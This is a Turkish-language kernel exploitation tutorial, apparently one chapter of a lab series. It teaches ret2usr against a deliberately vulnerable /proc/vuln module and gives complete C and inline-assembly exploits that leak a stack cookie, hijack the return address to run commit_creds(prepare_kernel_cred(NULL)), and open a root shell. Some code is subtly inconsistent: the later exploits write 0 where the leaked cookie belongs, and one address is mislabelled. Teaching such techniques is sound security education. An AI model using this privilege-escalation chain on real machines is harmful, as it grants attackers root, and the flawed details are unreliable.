Skip to content

Latest commit

 

History

History
354 lines (278 loc) · 10.9 KB

ret2root.md

File metadata and controls

354 lines (278 loc) · 10.9 KB

ret2usr

Root exploitimiz için popüler bir saldırı yöntemi olan ret2usrı kullanıyor olacağız.

Bir önceki exploitimizde doğrudan stack'deki dönüş adresini kerneldeki bir fonksiyona işaret edicek şekilde ayarladık ve bu şekilde modülün akışını yönlendirmeyi başardık.

Ancak bu istediğimiz gibi kernelin akışını kontrol etmemizi sağlamıyor. İşte burda ret2usr yöntemi devreye giriyor.

Hatırlarsanız kernel'in tüm user-space belleğine erişimi var, o halde exploitimizin içinde olan bir fonksiyonun adresini dönüş adresi olarak ayarlıyarak kernel'in istediğimiz kodu çalıştırmasını sağlayabiliriz. Zaten metodun adı da burdan geliyor, ret2usr yani return-to-user, kerneli user-space'de olan bir adrese döndürüyoruz.

Hadi bunu bir örnek ile görelim:

#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>

#define DEVICE "/proc/vuln"

void call_cant_get_here()
{

    // burda doğrudan assembly çalıştıracağız
    // unutmayın bu kod kernelde çalışcak, bu fonksiyona 
    // user-space'de olan çağrılar ekleyemeyiz
    __asm__(
    
    // normalde AT&T syntaxi olan syntaximizi 
    // daha rahat okunabilir olduğundan intel syntax'ine çekiyoruz
    ".intel_syntax noprefix;"

    // rax registerına movabs ile cant_get_here fonksiyonun adresini 
    // yüklüyoruz, movabs mov'dan farklı olarak rax'a 64 bit bir 
    // değer yüklüyor, bu da bizim 8 byte adresimiz için tam istediğimiz şey
    "movabs rax, 0xffffffff81094a50;" //cant_get_here

    // şimdi rax'a yüklediğimiz adrese atlayabiliriz
    "call rax;"

    // değiştirdiğimiz syntaxi eski haline geri döndürüyoruz 
    // bunun sebebi kodun geri kalanaın AT&T syntaxinde oluşturulucak olması
    ".att_syntax;"

    );

}

int main()
{

    int fd = open(DEVICE, O_RDWR);

    unsigned long w[3];
    unsigned long r[5];

    bzero(w, sizeof(w));
    bzero(r, sizeof(r));
    
    read(fd, r, sizeof(r));
    for(int i = 0; i < sizeof(r)/8; i++){
        printf("Reading (%d): %lx\n", i, r[i]);
    }
    printf("Cookie leaked! %lx\n", r[4]);

    w[0] = 0; // local buffer 
    w[1] = r[4]; // stack cookie

    // burdaki adresi local fonksiyonun adresi ile değiştirdik
    w[2] = (unsigned long)call_cant_get_here; // return address 

    puts("Writing payload to "DEVICE);
    write(fd, w, sizeof(w));

    close(fd);

}

Bu az önceki exploitimizin ret2usr metodu ile yazılmış hali. Kernel call_cant_get_here user-space fonksiyonuna dönüş yapıyor, bu fonksiyonda biraz assembly kodu ile cant_get_here fonksiyonunu çağrıyoruz.

Aslında bunu assembly kullanmadan da yapabiliriz:

typedef void* (*cant_get_here)(void);

void call_cant_get_here()
{

    cant_get_here func = (void*)0xffffffffc00001d6;
    func();

}

Ancak az sonraki root exploitimiz için adresi ile çağırdımız fonksiyonlara bazı parametreler veriyor olacağız, ayrıca bazı registerlar ile oynayacağız ve bunu C ile yapmak inanın assembly ile yapmaktan çok daha karışık.

Temel ret2usr konseptini anladığımıza göre nasıl bir root exploiti yazabileceğimize bakalım.

Bu örnekte olduğu gibi ret2usr tekniği ile root alamanın birçok yolu var, fakat bu yolları anlamadan önce linux'un farklı işlemler için yetkilendirmeyi nasıl yaptığına bakmalıyız.

Linux'da credential'lar

Linux'da her işlemin kendina ait kimlik bilgileri (credentials, kısaca credler) bulunur. Bu credler çalışan işlemin UID'si, GID'si gibi değerli tutar. Exploitimiz çalışırken eğer biz exploitimizin credlerini tamamen 0'a çekebilirsek (root'un grupları, UID'leri vs. her zaman 0'dır) o zaman exploitimizin root yetkisi kazanmasını sağlayabiliriz, ardından bir shell çalıştırıp root olarak sisteme erişebiliriz.

Bunu yapmanın iki yolu var, biri anlık programımızın çalıştığı işlem'in cred objesine erişip tek tek değerleri sıfır yapmak, ikincisi ise anlık işlem için verilen cred'leri geçen bir fonksiyon olan commit_credsi ve bizim için bir cred oluşturan prepare_kernel_credi kullanmak.

prepare_kernel_cred eğer parametre olarak NULL alırsa bize tüm değerleri sıfır olan bir cred döndüren bir fonksiyon, öte yandan commit_creds kendisine parametre olarak verilen credleri anlık işlemin credlerine kopyalıyor, bunu kernelin kaynak kodunda da görebiliriz:

kernel/cred.c

/**
 * prepare_kernel_cred - Prepare a set of credentials for a kernel service
 * @daemon: A userspace daemon to be used as a reference
 *
 * Prepare a set of credentials for a kernel service.  This can then be used to
 * override a task's own credentials so that work can be done on behalf of that
 * task that requires a different subjective context.
 *
 * @daemon is used to provide a base cred, with the security data derived from
 * that; if this is "&init_task", they'll be set to 0, no groups, full
 * capabilities, and no keys.
 *
 * The caller may change these controls afterwards if desired.
 *
 * Returns the new credentials or NULL if out of memory.
 */
struct cred *prepare_kernel_cred(struct task_struct *daemon)
...
/**
 * commit_creds - Install new credentials upon the current task
 * @new: The credentials to be assigned
 *
 * Install a new set of credentials to the current task, using RCU to replace
 * the old set.  Both the objective and the subjective credentials pointers are
 * updated.  This function may not be called if the subjective credentials are
 * in an overridden state.
 *
 * This function eats the caller's reference to the new credentials.
 *
 * Always returns 0 thus allowing this function to be tail-called at the end
 * of, say, sys_setgid().
 */
int commit_creds(struct cred *new)
...

O halde tek yapmamız gereken commit_creds(prepare_kernel_cred(NULL)) çalıştırmak, bu bizim anlık işlemimize, yani exploitimize root vermek için yeterli olmalı.

Öncellikle /proc/kallsymsden commit_creds ve prepare_kernel_credin adresini bulmamız lazım:

[root@k101 ~]# cat /proc/kallsyms | grep prepare_kernel_cred
ffffffff81094a50 T prepare_kernel_cred
...
[root@k101 ~]# cat /proc/kallsyms | grep commit_creds
ffffffff810947b0 T commit_creds
...

Güzel, bu adresler aracılığı ile fonksiyonları çağırabiliriz, ancak parametreleri bu fonksiyonlara nasıl geçeceğiz?

Burda calling convention'ları devreye giriyor, bu arkadaşlar fonksiyon çağrılarında parametrelerin hangi registerlarda tutulacağını ve dönüş değerlerinin hangi reigsterlara yazılacağını belirtiyor.

Aşağıda linux x86_64 calling convention'larının bir listesi:

Burda görebileceğiniz gibi prepare_kernel_cred cred'e NULL parametresini rdi registerı aracılığı ile geçeceğiz, ardından prepare_kernel_credin dönüş değerini raxdan okuyup yine commit_credse rdi aracılığı ile vereceğiz.

O halde koda geçelim:

#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>

#define DEVICE "/proc/vuln"

void root(void)
{

    __asm__(
    ".intel_syntax noprefix;"
    
    // prepare_kernel_cred'in adresini önceki gibi rax'a taşıyoruz
    "movabs rax, 0xffffffff81094a50;"
    
    // rdi register'ını 0 yani NULL olarak ayarlıyoruz
    // bu prepare_kernel_cred'in ilk parametresi
    "mov rdi, 0;"
  
    // prepare_kernel_cred'i çağrıyoruz
    "call rax;"

    // prepare_kernel_cred'in dönüş değerini rdi'a yazıyoruz
    // bu şekilde artık commit_creds'in ilk parametresi yeni 
    // cred struct objesine işaret ediyor
    "mov rdi, rax;"
  
    // rax'a commit_creds'in adresini yazıyoruz
    "movabs rax, 0xffffffff810947b0;" 

    // commit_cred'i çağrıyoruz
    "call rax;"
    
    ".att_syntax;"
    );

}

int main()
{

    int fd = open(DEVICE, O_RDWR);

    unsigned long w[3];
    unsigned long r[5];

    bzero(w, sizeof(w));
    bzero(r, sizeof(r));
    
    read(fd, r, sizeof(r));
    for(int i = 0; i < sizeof(r)/8; i++){
        printf("Reading (%d): %lx\n", i, r[i]);
    }
    printf("Cookie leaked! %lx\n", r[4]);

    w[0] = 0; // local buffer 
    w[1] = 0; // stack cookie 

    // burdaki adresi bu sefer root fonksiyonun adresi ile değiştirdik
    w[2] = (unsigned long)root; // return address 

    puts("Writing payload to "DEVICE);
    write(fd, w, sizeof(w));

    close(fd);

}

Hadi exploitimizi test etmek adına sistemde root olmayan yeni bir kullanıcı oluşturup derlediğimiz exploiti bu kullanıcı olarak çalıtştıralım:

useradd -m user
cp exploit /home/user/exploit 
chown user:user /home/user/exploit
su user

Bu yeni kullanıcı olarak ev dizinimizde exploiti çalıştırırsak... hiçbirşey olmayacak. Exploit sorunsuzca çalışacak, dmesg çıktısında herhangi bir kernel hatası ile karşılaşmıyacağız ama root da olamayacağız. Bunun sebebi commit_credsin root cred'lerini sadece anlık işleme uygulaması, bu işlem de bizim exploitimiz. Exploitimiz çalıştıktan sonra sorunsuzca root alıyor ancak bunu herhangi bir şekilde kullanmadan exploitimiz sonlanıyor. Exploitimizi gerçekten de kullanılabilir yapmak adına en son bir shell çalıştırabiliriz:

#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>

// en son çalıştıracağımız komut
// sh shellini çalıştırıyor olacağız
#define CMD    "/bin/sh"

#define DEVICE "/proc/vuln"

void root(void)
{

    __asm__(
    ".intel_syntax noprefix;"
    "movabs rax, 0xffffffff81094a50;" //prepare_kernel_cred
    "xor rdi, rdi;"
    "call rax; mov rdi, rax;"
    "movabs rax, 0xffffffff810947b0;" //commit_creds
    "call rax;"
    ".att_syntax;"
    );

}

int main()
{

    int fd = open(DEVICE, O_RDWR);

    unsigned long w[3];
    unsigned long r[5];

    bzero(w, sizeof(w));
    bzero(r, sizeof(r));
    
    read(fd, r, sizeof(r));
    for(int i = 0; i < sizeof(r)/8; i++){
        printf("Reading (%d): %lx\n", i, r[i]);
    }
    printf("Cookie leaked! %lx\n", r[4]);

    w[0] = 0; // local buffer 
    w[1] = 0; // stack cookie 
    w[2] = (unsigned long)root; // return address 

    puts("Writing payload to "DEVICE);
    write(fd, w, sizeof(w));
    close(fd);

    // bu noktada payloadımızı yazıp root aldığımıza göre 
    // komutu çalıştırabiliriz
    puts("Running the command");
    system(CMD);

}

Eğer oluşturduğumuz user kullanıcısı olarak bu yeni exploiti çalıştırırsak:

[user@k101 ~]$ ./exploit
Reading (0): 4141414141414141
Reading (1): 4141414141414141 
Reading (2): 4141414141414141 
Reading (3): 4141414141414141
Reading (4): 5e7e6aa8d2e8d600
Cookie leaked! 5e7e6aa8d2e8d600
Writing the payload to /proc/vuln
Running the command
sh-5.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-5.1#

root shellimizi elde ediyoruz.

Bu exploit'in biraz daha süslü halini src/exploit/ dizini altında bulabilirsiniz.


Önceki | Son söz